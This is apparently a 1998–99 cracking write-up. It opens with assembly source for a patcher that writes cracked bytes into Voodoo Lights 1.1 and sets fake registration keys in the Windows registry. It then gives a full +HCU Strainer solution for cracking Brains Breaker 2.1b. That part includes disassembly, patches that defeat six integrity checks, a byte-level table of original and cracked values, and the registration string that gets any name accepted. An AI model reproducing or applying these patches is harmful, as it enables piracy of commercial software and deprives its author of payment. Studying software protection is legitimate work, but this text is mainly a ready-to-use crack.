GetDlgItem ;field push EAX ;push handle of edit1 push EAX ;and save for LIMITTEXT call SetFocus ;set focus to this field
pop EAX push 0 push Buff_len-1 ; don count 0 push EM_LIMITTEXT push EAX call SendMessageA ;limit text size mov
EAX,False ;FALSE because we set the focus jmp DLG_RET ;go and return Return_: cmp [wmsg],WM_COMMAND ;Is
message is a WM_COMMAND? jne DLG_DONE ;No, then just return mov EAX,[wparam] cmp EAX,IDCANCEL je
CANCEL cmp EAX,Id_restore jne CHECKOK ;------------------------------ DEPATCHING --------------------------------- push
Buff_len ; BUT HERE WE TAKE ALL BUFFER WITH 0 AT END push Offset Buff push Id_edit ;Contents of the edit field
push [Hdlg] ;handle to the dialog call GetDlgItemTextA ;Get the text from edit field call OPEN_N_READ test eax,eax ; error?
jz Exit_ mov ESI, Offset Read_buf mov EDI, Offset Cracked_bytes ; check if target already cracked mov ECX, [Patch_size]
rep cmpsb jz GO_ON3 mov ESI, Offset Read_buf mov EDI, Offset Orig_bytes ;check for original bytes mov ECX,
[Patch_size] rep cmpsb jz GO_ON3_1 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg3 ;
diferent version of voodoo lights push NULL call MessageBoxA jmp Exit_ GO_ON3_1: push MB_OK or MB_ICONHAND
push Offset Title1 push Offset Error_msg5 ; target is not cracked yet push NULL call MessageBoxA jmp Exit_ GO_ON3: push
NULL push NULL push Dword Ptr [Patch_loc] push Handle call SetFilePointer ; move file pointer to offset we need to
depatch cmp EAX,-1 jnz GO_ON4 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg8 push NULL
call MessageBoxA ; can't move file pointer jmp Exit_ GO_ON4: push NULL push Offset Bytes_writen push Dword Ptr
[Patch_size] push Offset Orig_bytes push Handle call WriteFile ; restore cracked target to original state cmp EAX,0 jnz Done1
push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg6 push NULL call MessageBoxA ; can't write to
file jmp Exit_ Done1: push MB_OK push Offset Title2 push Offset Restore_msg push NULL call MessageBoxA ; done push
offset Reg_key push 80000002h ; HKEY_LOCAL_MACHINE Call RegDeleteKeyA ; delete "Registration" key cmp eax,0 jz
Exit_ push MB_OK or MB_ICONHAND push Offset Title1 push Offset Reg_msg1 push NULL call MessageBoxA ; can't
delete key jmp Exit_ ;Closekey: ; push Result ; call RegCloseKey jmp Exit_ ;------------------------------ PATCHING
--------------------------------- CHECKOK: cmp EAX,IDOK jne DLG_DONE push Buff_len ; BUT HERE WE TAKE ALL
BUFFER WITH 0 AT END push Offset Buff push Id_edit ;Contents of the edit field push [Hdlg] ;handle to the dialog call
GetDlgItemTextA ;Get the text from edit field call OPEN_N_READ ; open and read target test eax,eax ; error ? jz Exit_ mov
ESI, Offset Read_buf mov EDI, Offset Orig_bytes mov ECX, [Patch_size] rep cmpsb ; check if its our uncracked target jz
GO_ON2 mov ESI, Offset Read_buf mov EDI, Offset Cracked_bytes mov ECX, [Patch_size] rep cmpsb ; check if target
already patched jz GO_ON2_1 ; so if we land here push MB_OK or MB_ICONHAND push Offset Title1 push Offset
Error_msg3 ; diferent version of voodoo lights push NULL call MessageBoxA jmp Exit_ GO_ON2_1: push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Error_msg2 ; already cracked push NULL call MessageBoxA jmp Exit_
GO_ON2: push NULL push NULL push Dword Ptr [Patch_loc] push Handle call SetFilePointer ; move file pointer to offset
we need to patch cmp EAX,-1 jnz GO_ON5 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg8
push NULL call MessageBoxA ; can't move file pointer jmp Exit_ GO_ON5: push NULL push Offset Bytes_writen push
Dword Ptr [Patch_size] push Offset Cracked_bytes push Handle call WriteFile ; patch target cmp EAX,0 jnz Done2 push
MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg6 push NULL call MessageBoxA ; can't write to file
jmp Exit_ Done2: push MB_OK push Offset Title2 push Offset Done_msg push NULL call MessageBoxA ; done ; LONG
RegCreateKeyEx( ; HKEY hKey, // handle of an open key ; LPCTSTR lpszSubKey, // address of subkey name ; DWORD
dwReserved, // reserved ; LPTSTR lpszClass, // address of class string ; DWORD fdwOptions, // special options flag ;
REGSAM samDesired, // desired security access ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key
security structure ; PHKEY phkResult, // address of buffer for opened handle ; LPDWORD lpdwDisposition // address of
disposition value buffer ; ); push offset Disposition push offset Result push NULL ; we dont want any security at all push
0f003fh ; KEY_ALL_ACCCESS push 0 push 0 push 0 push offset Reg_key push 80000002h ; HKEY_LOCAL_MACHINE
call RegCreateKeyExA ; create or open (if it already exist) cmp eax,0 ; key "Registration" je Set_Val push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Reg_msg push NULL call MessageBoxA ; can't create key jmp Exit_
Set_Val: mov ebx,offset Buff ; calc len of entered string call STRLEN ;LONG RegSetValueEx(hkey, lpszValueName,
dwReserved, fdwType, lpbData, cbData) ;HKEY hkey; /* handle of key to set value for */ ;LPCTSTR lpszValueName; /*
address of value to set */ ;DWORD dwReserved; /* reserved */ ;DWORD fdwType; /* flag for value type */ ;CONST BYTE *
lpbData; /* address of value data */ ;DWORD cbData; /* size of value data */ inc ECX ; count 0 push ECX ; len of string push
offset Buff push 1 ; REG_SZ push NULL push offset Reg_val ; "owner" push Result call RegSetValueExA ; set "Owner" value
to string ; entered by user push Result call RegCloseKey ; close key Exit_: push Handle call CloseHandle jmp DLG_DONE
CANCEL: push [wparam] ; terminate with wparam as the return push [Hdlg] ; handle of the dialog call EndDialog ; end dialog
mov EAX,True jmp DLG_RET DLG_DONE: mov EAX,False DLG_RET: ret MYDLG Endp ; STRLEN ; ebx = input string
pointer ; returns ecx with the string length STRLEN Proc xor ECX,ECX ;clear count loop: mov AL,Byte Ptr[EBX] ;get char of
string cmp AL,0 ;is it zero? je DONE ;done if zero term char inc ECX ;increment count inc EBX ;increment pointer jmp loop
;continue DONE: ret STRLEN Endp OPEN_N_READ Proc ; I decided to put next code sequence to sub because we need it
twice ;HANDLE CreateFile( ; LPCTSTR lpFileName, // address of name of the file ; DWORD dwDesiredAccess, // access
(read-write) mode ; DWORD dwShareMode, // share mode ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of
security descriptor ; DWORD dwCreationDistribution, // how to create ; DWORD dwFlagsAndAttributes, // file attributes ;
HANDLE hTemplateFile // handle of file with attributes to copy ; ); AGAIN: push NULL ; no template push
File_attribute_normal push Open_existing push NULL ; no security atr push NULL ; no sharing push Gr_gw push Offset
Filename call CreateFileA ; open our target mov Handle, EAX cmp EAX, -1 ; error ? jnz GO_ON1 ; if there was an error while
opening file ; lets try to set of READ_ONLY attribute ; and only if this is not work then we assume that file not found push 80h
;FILE_ATRIBUTES_NORMAL push offset Filename call SetFileAttributesA ; set attributes cmp eax,1 jz AGAIN ; and try to
open target again push MB_OK or MB_ICONHAND ; file open error push Offset Title1 push Offset Error_msg1 push NULL
call MessageBoxA jmp Exit1 GO_ON1: push NULL push Handle call GetFileSize ; check target's file size cmp EAX,File_size
jz GO_ON1_1 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg4 ; wrong file size push NULL
call MessageBoxA jmp Exit1 ; Exit GO_ON1_1: push NULL push NULL push Dword Ptr [Patch_loc] push Handle call
SetFilePointer ; move file pointer to offset we gonna read from cmp EAX,-1 ; error? jnz GO_ON6 push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Error_msg8 push NULL call MessageBoxA ; can't move file pointer jmp
Exit1 GO_ON6: push NULL push Offset Byte_read push Dword Ptr [Patch_size] push Offset Read_buf push Handle call
ReadFile ; read from patch location Patch_size bytes cmp eax,0 jnz Ret_ok push MB_OK or MB_ICONHAND push Offset
Title1 push Offset Error_msg7 push NULL call MessageBoxA ; can't move file pointer jmp Exit1 Ret_ok: mov eax,1 ret Exit1:
xor eax,eax ret OPEN_N_READ Endp End START ;----------------------------- end of vl_crk.asm ----------------------------
;------------------- vl_crk.rc, cut ---------------------------------------
/**************************************************************************** vl_crc.rc produced by Borland
Resource Workshop *****************************************************************************/ 103
DIALOG 160, 97, 194, 119 STYLE DS_ABSALIGN | DS_MODALFRAME | 0x4L | WS_POPUP | WS_VISIBLE |
WS_CAPTION | WS_SYSMENU CAPTION "Voodoo Lights 1.1(beta 9) Crack-Patch" FONT 8, "MS Sans Serif" {
CONTROL "not registered", 102, "EDIT", WS_BORDER | WS_TABSTOP, 10, 68, 173, 12 DEFPUSHBUTTON "Patch",
IDOK, 14, 95, 50, 14 PUSHBUTTON "Restore", 101, 72, 95, 50, 14 PUSHBUTTON "Exit", IDCANCEL, 130, 95, 50, 14
CTEXT "(C)oded by iNT_03h in 1998.", -1, 49, 9, 96, 12 CTEXT "String bellow will be displayed in Voodoo Lights
""Registered to:"" message. You can change it to whatever you want.", -1, 21, 34, 152, 28 } ;---------------------------- cut
------------------------------------ End of the solution.
Solution for Part III of +HCU Strainer 99. Solved by iNT_03h. TARGET: Brains Breaker ver 2.1b (32bits) TOOLS: SoftIce
3.22 for W95, IDA PRO 3.75 Full SOLUTION: First, English is not my motherlanguage, so please excuse my mistakes...
Second, I dont remember all way I went to fully understand protection scheme of target in details, because it took me about
month, I began to crack target, then leaved it due to other problems, returned to cracking again and again, so I'll try describe as
many details as posible, but I cant promice all steps would be described. // See end of solution if you want summary of patch
and summary of // the protection scheme instead of reading way to them step by step. I began with loading bbrk32.exe (593,920
bytes) into IDA. I tried to find usual strings, like "Thank for registering", or "Invalid registration code","Warning, programm
running in demo mode for evaluation...".No luck. Encrypted, thought I. So I decided to use live approach and ran SoftIce.
After BB ran, CTRL-D, and I tried to find those strings. That time strings were found. I looked at their location and saw a lot of
strings that can't be found in dead listing. I set BPM 4a1418 (in my case) - addres of string "Warning: The program running in
demo...", which appeared when I tried to play "DEMO" puzzles. SoftIce poped up at 43989c, I pressed F12 (return from proc)
several times, and finally stopped at 444493. I looked at *EAX, and I saw my beloved string "Warning: The ...". Aha, so CALL
4397AF at address 444493 returned addres of string in EAX, taking as param some value, for our string its 258h. All my founds
I commented in IDA, named CALL 4397AF as "Ret_Addres_Of_Decrypted_Msg". I played a little with param of
"Ret_Addres_Of_Decrypted_Msg", and got params value for all protection related strings. For example, 26c - "Registration
code detected!" 22e - "Seems that data you've entered is incorect....." and so on. After that it was much easier to work with
IDA. I looked how BB decide display NAG or not, when I play "DEMO" puzzles. At 444467 it called sub_46aa6c( later I
named it "Check_1") and if it returned 0 BB display NAG. I looked at that sub, hmm, it simply compares arg_0 with
dword_489990, I looked at dword_489990, it accessed from sub_44283a (later I named it "Set_Protection_Flags"). This sub, as
I understand later, set several protection-related flags. dword_489990 contains offset of dword_489970, and
dword_489970=15a4, this value returned by sub_414257. So, BB compare 15a4 with some value (argument for Check_1),
which calculated somehow, and only if that value also =15a4, Check_1 returned 1 - program registered. So I forced Check_1 to
always return 1 and ran BB. Message box appeared "Program was altered blah blah...", aha, integrity check. I found param for
this encrypted message to Ret_Addres_Of_Decrypted_Msg its 0be, and found (using binary search in IDA: 24,be,00) all place
in dead listing where this value used as arg. for Ret_Addres_Of_Decrypted_Msg, example: 00442CC0 push 0 00442CC2 call
Check_Integrity 00442CC7 cmp eax, 55443322h ; if dont equal then BB patched :) 00442CCC jz short loc_442D40 ; else all
ok 00442CCE push 12010h 00442CD3 push ds:off_483B84 00442CD9 add esp, 0FFFFFFFCh 00442CDC ... 24 be 00 mov
[esp+2C0h+var_2C0], 0BEh ; some kind of pointer 00442CE2 call Call_return_addr_of_decr_msg 00442CE7 push eax
00442CE8 push 0 00442CEA call j_MessageBoxA ; "Program altered..." There are 6 places in BB where integrity checked, so
we need to force six jumps :) 41fb69 jz -> jmp 442ccc jz -> jmp 443edb jnb -> jmp 44ba73 jnb -> jmp 451d76 jnb -> jmp
45a2f0 jnb -> jmp After integrity checks were killed, I returned to my Check_1 (I patched it, so it always returns 1) and ran BB.
hmmm, strange, "demo" puzzles which came with BB still had "demo" nag on them, but puzzles created by me were without
that writing. I started one of BB's "demo" puzzles and "Waring: The programm ..." message didn't appear ! Good, thought I. I
pressed F5 (auto solve) several times, completed puzzle - no nags. But when I decided to solve puzzle by myself and tried to
move pieces of puzzle by myself, strange thing happened - pieces only rotated and didnt want to move. I tried to create puzzle -
NAG appeared. So, patch I made doesnt decide all problems,and whats worse, it seems to me that BB uses Check_1 not only
for protection purposes. Then I decide to find how BB allow user to enter reginfo. Some imagination gave me several ideas: 1)
BB can check command line for some switches 2) BB can check Clipboard for reginfo 3) BB waits some keys combination 4)
keyfile 5) drag 'n' drop file to BB 1) For checking cmd line BB uses sub_4428e3, BB calls it from WinMain (addres 43a0c4). I
named this sub "Check_CMD_line_and_etc", coz this sub , by the way, is main game loop :) At 442e7f in
"Check_CMD_line_and_etc" BB check for word "@INSTALLPOGMAN" At 442eb8 - for "@INSTALLPACK" ... At - for
"@jttestreg" - some stuff, that I didnt really understand. Test registration? So, no luck with command line. 2) I put several
words to clipboard, like "User:Name UserID:123 Key:12345", set bpx GetClipboardData and ran BB. SoftIce poped up in
user32, F12, and I'm at 4566d7. BB checks text from clipboard for word "Puzzler", "BrainsBreaker","BrainBreaker 2". Only if
last two words are in that text then sub_456af5( I named it "Validate_reg_info") from addres 456782 called. I went trough
code... In this sub BB moved and moved reginfo from place to place after finally stop at 456d23. Here two subs called, these
subs validate key: 456D23 loc_456D23: ; CODE XREF: Validate_reg_info 456D23 lea edx, [ebp+var_40] 456D26 push edx
456D27 push ebx 456D28 mov ecx, [ebx] 456D2A call dword ptr [ecx+8] ; 459ac1 <-- CALL 1 456D2D lea eax, [ebp+var_40]
456D30 push eax ; push result of previous sub 456D31 call Check_1 ; compare it with 15a4 456D36 test eax, eax 456D38 jz
short loc_456D55 ; NOPS here 456D3A lea edx, [ebp+var_44] 456D3D push edx 456D3E push 0 456D40 push 0 456D42 push
ebx 456D43 mov ecx, [ebx] 456D45 call dword ptr [ecx+10h] ; 459c3a <-- CALL 2 456D48 lea eax, [ebp+var_44] 456D4B
push eax ; the same 456D4C call Check_1 456D51 test eax, eax 456D53 jnz short loc_456D59 ;JMP here 456D55 456D55
loc_456D55: ; CODE XREF: Validate_reg_inf 456D55 xor eax, eax 456D57 jmp short loc_456D5E 456D59 ;
456D59 456D59 loc_456D59: ; CODE XREF: Validate_reg_inf 456D59 mov eax, 1 So if entered key valid , CALL 1 and
CALL 2 must return 15a4, I didn't want to explore those two subs, FPU comands inside didnt look funny, and afterall why care
about valid key if author of BB let us patch proggy ;-) As I found later (when explored case 3) reginfo must have exactly next
form: BrainsBreaker 2./Pack:Full;User:CRACKER;UserID:ID;Key:$L23456; BrainsBreaker 2 - must be this. Pack - can be
Full,Entry,Upgrade. User - your name here. UserID - your ID. Key - still dont know what form key must be. So I patched BB at
456D38 (2 nops) and at 456D53 (jmp instead jnz), plus remember check integrity kill patch, put BrainsBreaker
2Pack:Full;User:Name;UserID:MyID;Key:$L23456; at clipboard and ran BB. Fanfare and message box appeared "Registration
code detected. Thank for ...." and BB became registered. I checked all "bad" places, i.e. played "demo" puzzles, created own
puzzles, looked at Program Options, where "Name" was instead of "Unregistered" - it seemed to me thats all ok, BB really
became registered. But when I exited and restarted BB - all those NAGS appeared again. Why? Because BB stored invalid
reginfo somewhere (coz I forced it to do so) and when BB starts it begin to check reginfo again in some other place, which was
unknown for me that time, and of course reject invalid key. But where BB stored reginfo? I looked at bbrk.ini and: [PACKFull]
0=Name 1=MyID 2=4874c06e580dc4 ; encrypted and converted to ASCII key 3=2100 ; I think it means version of BB
4=22599f38 ; encrypted and converted to ASCII name 5=2141bb19 ; encrypted and converted to ASCII id I bpx
GetPrivateProfileStringA and after several tries I found sub which checks reginfo from bbrk.ini. It sub_469743, called only
once from "Check_CMD_line_and_etc" at 4433b8. I named sub_469743 as "Check_reginfo_from_bbrk_ini". In this sub after
reading and decrypting reginfo, again those CALL 1 and CALL 2: 469D4D loc_469D4D: ; CODE XREF: Check_Reginfo_fr
469D4D lea edx, [ebp+var_CC] 469D53 push edx 469D54 push ebx 469D55 mov ecx, [ebx] 469D57 call dword ptr [ecx+8];
CALL 1 469D5A lea eax, [ebp+var_CC] 469D60 push eax 469D61 call Check_1 ; compare result of CALL 1 with 15a4
469D66 test eax, eax 469D68 jz short loc_469DA4 469D6A lea edx, [ebp+var_D0] 469D70 push edx 469D71 push 0 469D73
push 0 469D75 push ebx 469D76 mov ecx, [ebx] 469D78 call dword ptr [ecx+10h] ; CALL 2 469D7B lea eax, [ebp+var_D0]
469D81 push eax 469D82 call Check_1 ; compare result of CALL 2 with 15a4 469D87 test eax, eax 469D89 jz short
loc_469DA4 469D8B mov [ebp+var_D4], ebx 469D91 lea edx, [ebp+var_D4] 469D97 push edx 469D98 push 1 469D9A push
[ebp+arg_0] ; VERY IMPORTANT: 469D9D call sub_41C8FF ; here BB set dword_489aa2 to 1 469DA2 jmp short
loc_469DDB ; this dword then used by protection So I patched 469D68 and 469D89 too (2 nops and 2 nops) and ran BB again.
This time everything was ok, no nags, no problems :)) But I decided to check another way of registering. 3) To be honest I
found this way of registering absolutely accidental when looked trough code in IDA. I saw switch case construction and after
some thinking (call it zen :)) I decided that its switch for several key combination, I tried all Fn - no luck, I tried all CTRL-Fn
and BINGO !!! When I pressed CTRL-F8 dialog box appeared asked me to enter reginfo: Pack, Name, Id, Key. This case is at
44c864: 44C864 loc_44C864: ; CODE XREF: 0000:0044B964 j 44C864 ; DATA XREF: 0000:0044B96B o 44C864 push 1Ch
; case 0x456 - Ctrl-F8 44C866 call call_2_lib_func ; call memset and newoperator? 44C86B mov [ebp-170h], eax ; 44C871 test
eax, eax 44C873 jz loc_44D54F 44C879 push 0 44C87B push dword ptr [ebp-170h] 44C881 call Registration ; <------ 46ace5
44C886 jmp loc_44D54F I explored sub_Registration. It calls other, well hidden sub, which validate entered reginfo: 46ACE5
push ebp 46ACE6 mov ebp, esp 46ACE8 add esp, 0FFFFFE00h 46ACEE push ebx 46ACEF push esi 46ACF0 push edi
46ACF1 mov ebx, [ebp+arg_0] 46ACF4 lea esi, [ebp+var_30] 46ACF7 push ds:dword_489A88 46ACFD push 8 46ACFF
push ebx 46AD00 call sub_420CDE 46AD05 mov dword ptr [ebx], offset off_4858BC ; pointers, pointers... 4858BC
off_4858BC dd offset loc_46B1AD ; DATA XREF: Registration+20 ; this loc_46b1ad is that well hidden sub :) ; I named it
Validate_Reginfo_CTRL_F8 46AD0B push 1 46AD0D push offset unk_4899CE 46AD12 call sub_46B6E9 ...... 46AD4F push
20003h 46AD54 push 80C00000h 46AD59 push 1 46AD5B lea edx, [ebp+var_8] 46AD5E push edx 46AD5F push 0 46AD61
push ebx 46AD62 call sub_4209DD ; deep inside BB calls Validate_Reginfo_CTRL_F8 Funny, that this
"Validate_Reginfo_CTRL_F8" used not only to check reginfo entered using CTRL_F8,but also for draw registering dialog box,
how tricky :) 46B1AD Validate_Reginfo_CTRL_F8: ; DATA XREF: 0000:004858BC o 46B1AD push ebp 46B1AE mov ebp,
esp 46B1B0 add esp, 0FFFFFF8Ch 46B1B3 push ebx 46B1B4 push esi 46B1B5 push edi 46B1B6 mov ebx, [ebp+8] 46B1B9
mov esi, [ebp+0Ch] 46B1BC mov eax, esi 46B1BE mov dx, [eax] 46B1C1 sub dx, 65h 46B1C5 jz loc_46B51A 46B1CB sub
dx, 2 46B1CF jnz loc_46B543 46B1D5 or byte ptr [eax+6], 2 46B1D9 mov ecx, [eax+7] 46B1DC dec ecx 46B1DD jz short
loc_46B1F3 46B1DF dec ecx 46B1E0 jnz loc_46B514 <-- there BB begins check reginfo 46B1E6 push 2 46B1E8 push ebx
46B1E9 mov eax, [ebx] 46B1EB call dword ptr [eax+20h] 46B1EE jmp loc_46B543 ...... At 46b514 BB begins to create from
entered reginfo string like BrainsBreaker 2Pack:Full;User:Name;UserID:MyID;Key:$L23456; and then calls
"Validate_Reginfo", sub, used for validating reginfo from clipboard too. And coz I patched "Validate_Reginfo" earlier, it
accepts any reginfo too. ---------------------------------------------------------------------------
--------------------------------------------------------------------------- Summary of the patch: Original: Cracked: 0001F169:
0F E9 0001F16A: 84 A2 0001F16B: A1 00 0001F16E: 00 90 000422CC: 74 EB 000434DB: 73 EB check
integrity kill 0004B073: 0F E9 0004B074: 83 86 0004B075: 85 00 0004B078: 00 90 00051376: 73 EB
00056338: 74 90 00056339: 1B 90 allow any reginfo 00056353: 75 EB 000598F0: 73 EB ;
check integrity kill 00069368: 74 90 00069369: 3A 90 allow any reginfo 00069389: 74 90 0006938A:
19 90 After this patch we need press CTRL-F8, enter pack "Full"( to get all features on) any name, any ID, any
key and BB becomes registered with all features on. Or we can put reginfo to clipboard in next format: BrainsBreaker
2./Pack:Full;User:CRACKER;UserID:ID;Key:$123456; and run BB.
---------------------------------------------------------------------------- ----------------------------------------------------------------------------
Summary of the protection scheme: 1) In WinMain: a) 439F6E loc_439F6E: ; CODE XREF: WinMain+5A j 439F6E mov
ds:dword_4898A8, eax 439F73 call j_GetVersion 439F78 call Set_Protection_Flags ; this sub does next: Set
dword_489990=dword_489970=15a4 - then used in Check_1 dword_489980=offset_of_dword_489970 b) at 43a0c4 call
"Check_CMD_line_n_etc": 2) in "Check_CMD_line_n_etc": * I wont include here places where integrity of BB checked * a)
4433AE loc_4433AE: ; CODE XREF: Check_CMD_Line_a 4433AE push offset dword_48980A 4433B3 push offset
unk_489A8E 4433B8 call Check_Reginfo_from_bbrk_ini ; if we already registered and bbrk.ini contains valid reginfo (or if we
patched "Check_Reginfo_from_bbrk_ini" before ;) then dword_489aa2=1 - very important flag !!!, else dword_489aa2=0. b)
4437FC lea edx, [ebp+var_294] 443802 push edx 443803 call sub_425AD8 ; in this call BB get reginfo from clipboard and
check it, using "Validate_reginfo" sub 3) There are several subs which used not only by protection (very smart move of author):
a) Check_1: 46AA6C arg_0 = dword ptr 8 46AA6C 46AA6C push ebp 46AA6D mov ebp, esp 46AA6F mov eax, [ebp+arg_0]
46AA72 mov eax, [eax] 46AA74 cmp eax, ds:dword_489990 ; compare arg_0 with 15a4 46AA7A setz dl 46AA7D and edx, 1
46AA80 mov eax, edx ; if arg_0=15a4 then eax=1 46AA82 pop ebp 46AA83 retn 4 46AA83 Check_1 endp b) Check_2 -
sub_469e31 This sub calls Check_1 c) Check_3 - sub_46aa1e Its not really check, its some kind of flag set If arg_0=0, then sub
put to [arg_4],0 If arg_0=1, then sub put to [arg_4],15a4 46AA1E arg_0 = dword ptr 8 46AA1E arg_4 = dword ptr 0Ch
46AA1E 46AA1E push ebp 46AA1F mov ebp, esp 46AA21 mov eax, [ebp+arg_0] 46AA24 mov edx, ds:dword_489978
46AA2A mov ecx, [edx] ; edx=489980 46AA2C mov edx, [ecx] ; ecx=489970,edx=[ecx]=15a4 46AA2E mov ecx, 1 ; if
arg_4=0 46AA33 cmp [ebp+arg_4], 0 ; then ecx-1=0 46AA37 jnz short loc_46AA3C ; else ecx=1 46AA39 add ecx,
0FFFFFFFEh 46AA3C loc_46AA3C: ; CODE XREF: Check_3+19 j 46AA3C imul edx, ecx ; 15a4*ecx 46AA3F mov [eax],
edx 46AA41 pop ebp 46AA42 retn 8 d) Check_4: 46AA86 arg_0 = dword ptr 8 46AA86 46AA86 push ebp 46AA87 mov ebp,
esp 46AA89 mov eax, [ebp+arg_0] 46AA8C xor edx, edx 46AA8E mov ecx, ds:dword_489980 ; offset of 489970 46AA94
mov ecx, [ecx] ; [ecx]=15a4 46AA96 cmp ecx, [eax] ; compare 15a4 with arg_0 46AA98 jz short loc_46AA9B ; if = then
return 0 46AA9A inc edx ; else 1 46AA9B loc_46AA9B: ; CODE XREF: Check_4+12 j 46AA9B mov eax, edx 46AA9D pop
ebp 46AA9E retn 4 46AA9E Check_4 endp e) Return_15a4_in_EAX_? - sub_4138ac Very important sub 4138AC var_1C =
byte ptr -1Ch 4138AC var_18 = byte ptr -18h 4138AC var_14 = dword ptr -14h 4138AC var_10 = byte ptr -10h 4138AC var_C
= byte ptr -0Ch 4138AC var_8 = dword ptr -8 4138AC var_4 = dword ptr -4 4138AC arg_0 = dword ptr 8 4138AC arg_4 =
dword ptr 0Ch 4138AC 4138AC push ebp 4138AD mov ebp, esp 4138AF add esp, 0FFFFFFE4h 4138B2 push ebx 4138B3
push esi 4138B4 push edi 4138B5 mov esi, [ebp+arg_0] 4138B8 xor ebx, ebx ; clear ebx 4138BA jmp loc_41397C 4138BF ;
4138BF loc_4138BF: ; CODE XREF: Return_15a4_in_E 4138BF mov [ebp+var_4], ebx 4138C2 mov eax, [esi+1Dh] 4138C5
mov edx, [ebp+var_4] 4138C8 mov edi, [eax+edx*4] 4138CB push edi 4138CC mov eax, [edi] ...... 41397C loc_41397C: ;
CODE XREF: Return_15a4_in_E 41397C cmp ebx, [esi+14h] ; [esi+14]=489aa2 so here we check if dword_489aa2 = 0 this
dword_489aa2 set to 1 when BB registered so if BB unregistered we wont go at loc_4138BF instead we go at 4139b4 and then
to loc_4139CE where Check_3 (wrong name I've choosen for this sub, I must admit) set arg_4 to 0, coz arg_0=0 so
"Return_15a4_in_EAX?" returns 0. And, if dword_489aa2 set to 1, we go at loc_4138BF, some calcualtion there and
"Return_15a4_in_EAX?" returns 15a4 whatever reginfo we have( valid or not). THIS IS VERY IMPORTANT, BECAUSE
almost all of those "Check_X" subs compare result of this "Return_15a4_ _in_EAX?" with 15a4 and in this way BB decide
registered it or not. When I understand how this sub works I realized that its enough to push 1 instead push 0 at loc_4139ce and
we always get 15a4 as return value. And now we even dont need to register, I thought. But this patch didn't help much, because
this sub, probably, used for other purposes too and therefore this patch won't let us get all feautres on in BB. More, when I tried
to create own puzzle, BB crashes with pagefault coz it tried access Name of user which simply didnt exist. 41397F jl
loc_4138BF 413985 push esi 413986 call sub_413D91 41398B test eax, eax 41398D jle short loc_4139B4 41398F cmp dword
ptr [esi+14h], 3 413993 jl short loc_4139B4 413995 push 0 413997 lea edx, [ebp+var_1C] 41399A push edx 41399B call
Check_3 4139A0 push eax 4139A1 call Check_4 4139A6 push eax 4139A7 push [ebp+arg_4] 4139AA call Check_3 4139AF
mov eax, [ebp+arg_4] 4139B2 jmp short loc_4139DB 4139B4 ;
4139B4 4139B4 loc_4139B4: ; CODE XREF: Return_15a4_in_E 4139B4 ; Return_15a4_in_EAX?+E7 j 4139B4 cmp eax, 2
4139B7 jl short loc_4139CE 4139B9 cmp dword ptr [esi+14h], 2 4139BD jl short loc_4139CE 4139BF push 1 4139C1 push
[ebp+arg_4] 4139C4 call Check_3 4139C9 mov eax, [ebp+arg_4] 4139CC jmp short loc_4139DB 4139CE ;
4139CE 4139CE loc_4139CE: ; CODE XREF: Return_15a4_in_E 4139CE ; Return_15a4_in_EAX?+111 j 4139CE push 0 ;
with this arg 4139D0 push [ebp+arg_4] ; Check_3 4139D3 call Check_3 ; set arg_4 to 0 4139D8 mov eax, [ebp+arg_4] ; eax=0
4139DB 4139DB loc_4139DB: ; CODE XREF: Return_15a4_in_E 4139DB ; Return_15a4_in_EAX?+106 j 4139DB ;
Return_15a4_in_EAX?+120 j 4139DB pop edi 4) bb21eng.dix is used to keep crypted strings? , "UNREGISTERED" bitmap?
or some tables to decrypt strings 5) BB decrypt those "invisible" in dead listing strings in rather tricky way. It uses xor with
name of author as mask, decrypt in several passes... Paranoid guy. 419223 Encryption?? proc near 419223 var_8 = dword ptr -8
419223 var_4 = dword ptr -4 419223 arg_0 = dword ptr 8 419223 arg_4 = dword ptr 0Ch 419223 arg_8 = dword ptr 10h
419223 419223 push ebp 419224 mov ebp, esp 419226 add esp, 0FFFFFFF8h 419229 push ebx 41922A push esi 41922B push
edi 41922C mov ebx, [ebp+arg_0] 41922F mov edi, [ebp+arg_4] 419232 mov esi, [ebp+arg_8] 419235 push ebx 419236 call
L_seek ; seek some offsets in bb21eng.dix 41923B mov [ebp+var_4], eax 41923E push esi 41923F push edi 419240 push ebx
419241 call sub_418867 ; call h_read 419246 mov [ebp+var_8], eax 419249 push [ebp+var_4] 41924C push esi 41924D push
edi 41924E push ebx 41924F call Tricky_xor ; decrypt strings, sub_4190fc 419254 mov eax, [ebp+var_8] 419257 pop edi
419258 pop esi 419259 pop ebx 41925A pop ecx 41925B pop ecx 41925C pop ebp 41925D retn 0Ch 41925D Encryption??
endp 6) There are two subs which validate reginfo: a) "Validate_reginfo" - sub_456af5 This sub takes as argument pointer to
reginfo in format I described above, i.e. : BrainsBreaker 2./Pack:Full;User:CRACKER;UserID:ID;Key:$123456; b)
"Validate_reginfo_CTRL_F8" - loc_46b1ad This sub called when CTRL_F8 pressed, this sub convert entered reginfo to format
which "Validate_reginfo" accepts and then call it: 46B438 call sub_41553E 46B43D xor edi, edi ; after that we have formed
reginfo 46B43F lea eax, [ebp-3Ch] ; in format for Validate_reginfo 46B442 push eax 46B443 call sub_415867 46B448 test
eax, eax 46B44A jnz short loc_46B45C 46B44C push dword ptr [ebp-20h] ; offset of reginfo pushed 46B44F push
ds:dword_489A88 46B455 call Validate_reginfo ; <---------here 46B45A mov edi, eax 46B45C 46B45C loc_46B45C: ; CODE
XREF: 0000:0046B44A j 46B45C test edi, edi 46B45E jnz loc_46B4E9 7) CALL 1 - sub_459ac1 CALL 2 - sub_459c3a both
subs used by "Validate_reginfo", "Check_Reginfo_From_bbrk.ini" These subs validate key. 9) So, BB compare result of sub
"Return_15a4_in_EAX_?" with 15a4 , using Check_1,Check_2,Check_4 subs. In this way BB decides registered it or not and
set on or set off features of registered version. Sub "Return_15a4_in_EAX_?" checks dword_489aa2 . If dword_489aa2=0, this
sub return 0 . If dword_489aa2=1, this sub return 15a4 after some calculation - good value. dword_489aa2 sets to 1 if key taken
from bbrk.ini or entered by user or taken from Clipboard is valid.
